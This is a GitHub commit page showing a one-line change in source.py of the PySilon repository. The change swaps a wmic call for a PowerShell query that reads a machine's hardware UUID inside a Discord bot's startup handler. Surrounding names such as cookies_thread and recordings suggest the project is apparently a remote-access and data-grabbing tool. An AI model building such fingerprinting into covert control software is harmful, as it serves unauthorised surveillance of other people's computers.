Skip to content

Commit 47de1f8

Browse files
authored
Merge pull request #373 from mategol/py-dev
merge pydev to main
2 parents 5c5924b + 2b2f7ea commit 47de1f8

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

source.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -125,7 +125,7 @@ def log(entry): # [pysilon_mark] !debug
125125
async def on_ready():
126126
global force_to_send, messages_to_send, files_to_send, embeds_to_send, channel_ids, cookies_thread, latest_messages_in_recordings
127127
#.log BOT loaded
128-
hwid = subprocess.check_output('wmic csproduct get uuid', shell=True).decode().split('\n')[1].strip()
128+
hwid = subprocess.check_output("powershell (Get-CimInstance Win32_ComputerSystemProduct).UUID").decode().strip()
129129
#.log HWID obtained
130130
first_run = True
131131
for category_name in client.get_guild(guild_id).categories:

0 commit comments

Comments
 (0)